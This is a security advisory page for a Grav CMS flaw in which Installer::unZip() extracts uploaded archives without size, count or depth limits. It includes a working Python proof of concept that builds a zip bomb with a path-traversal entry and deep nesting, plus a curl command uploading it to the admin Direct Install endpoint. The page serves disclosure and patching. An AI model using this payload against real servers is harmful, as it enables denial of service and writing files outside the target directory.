Skip to content

GHSA-2vcx-h8p2-9pg9 CVE-2026-59193

Grav CMS — Improper Handling of Highly Compressed Data in Installer::unZip()

Medium Packagist
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.60%
Chance of exploitation in the next 30 days. Higher than 48.74% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-409 Improper Handling of Highly Compressed Data (Data Amplification)
Fix
2.0.0
Upgrade getgrav/grav to this version or later

Description

Summary

An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method Installer::unZip() calls ZipArchive::extractTo() without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion.

Details

The vulnerability is in system/src/Grav/Common/GPM/Installer.php:176-208 (Installer::unZip()). The ZipArchive::extractTo() call at line 184 is not preceded by any validation of the archive contents.

Missing validation:

  • ❌ No total uncompressed size check (decompression bomb — CWE-409)
  • ❌ No entry count check (inode exhaustion)
  • ❌ No directory nesting depth check (stack overflow in Folder::doDelete() — CWE-674)

The subsequent cleanup call Folder::delete($destination) at line 189 recursively deletes every subdirectory without depth limit (Folder.php:531-547). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.

The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for ../ in entry paths and does not add any size, count, or depth limits.

PoC

  1. Generate the malicious ZIP:

    python3 cve_poc_grav_zip.py:

#!/usr/bin/env python3
"""
CVE PoC — Grav CMS Installer::unZip()
Zip Bomb + Zip Slip + Deep Nesting
ZIP file to attach to the CVE advisory.

Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)
which has NO CVE — extracted size/depth/count have no limits.
"""

import zipfile, os, sys

OUT = "/tmp/cve_poc_grav.zip"

def build():
    with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z:
        # --- Zip Slip: arbitrary write outside target ---
        z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n")

        # --- Deep nesting: 100 levels → Folder::delete() has no depth limit ---
        for i in range(100):
            z.writestr(f"deep/{'x/' * i}.keep", "")

        # --- Compression bomb: 100 identical files = ratio ~ 196:1 ---
        for i in range(100):
            z.writestr(f"bomb/{i}.dat", b"A" * 100_000)

    with zipfile.ZipFile(OUT) as z:
        infos = z.infolist()
        compressed = os.path.getsize(OUT)
        uncompressed = sum(e.file_size for e in infos)
        slip = any(".." in e.filename for e in infos)
        depths = [e.filename.count('/') for e in infos]

    print("=" * 60)
    print("CVE PoC — Grav CMS Installer::unZip()")
    print("Zip Bomb | Zip Slip | Deep Nesting")
    print("=" * 60)
    print(f"File           : {OUT}")
    print(f"ZIP size       : {compressed:,} B ({compressed/1024:.1f} KB)")
    print(f"Uncompressed   : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)")
    print(f"Ratio          : {uncompressed/compressed:.0f}:1")
    print(f"Entries        : {len(infos)}")
    print(f"Max depth      : {max(depths) if depths else 0}")
    print(f"Zip Slip (../) : {'YES' if slip else 'NO'}")
    print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall")
    print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write")
if __name__ == "__main__":
    build()
  1. Authenticate as admin.super and retrieve the nonce from /admin

  2. Upload through Direct Install:

   curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \
     -H 'Cookie: grav-admin=<SESSION>' \
     -F 'admin-nonce=<NONCE>' \
     -F 'uploaded_file=@/tmp/cve_poc_grav.zip'

Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion.

Impact

An authenticated administrator (admin.super) can:

  • Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs)
  • Exhaust inodes via thousands of small files
  • Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently
  • Partially or fully deny service to all users (both authenticated and unauthenticated)

Affected versions

Packagist

PackageVulnerableFixed in
getgrav/grav
>= 1.0.0, < 2.0.0
2.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

getgrav/grav Packagist → 2.0.0

composer
composer require getgrav/grav:^2.0.0

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
High
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 4.9

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xjw5-q542-3vmr
Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled
High Also affects getgrav/grav
GHSA-3jhr-mxmx-38cx
Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
Medium Also affects getgrav/grav
GHSA-9ccq-2jfg-qw33
Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match
Critical Also affects getgrav/grav
GHSA-38p6-h87p-r4cg
Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection
Medium Also affects getgrav/grav
GHSA-p597-crqc-m349
Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths
Medium Also affects getgrav/grav
GHSA-47ch-6w46-6xm7
Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content
Medium Also affects getgrav/grav
GHSA-jq29-c7v8-rg55
Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion
High Also affects getgrav/grav
GHSA-8hgv-xc77-jmcr
Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin
Medium Also affects getgrav/grav
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor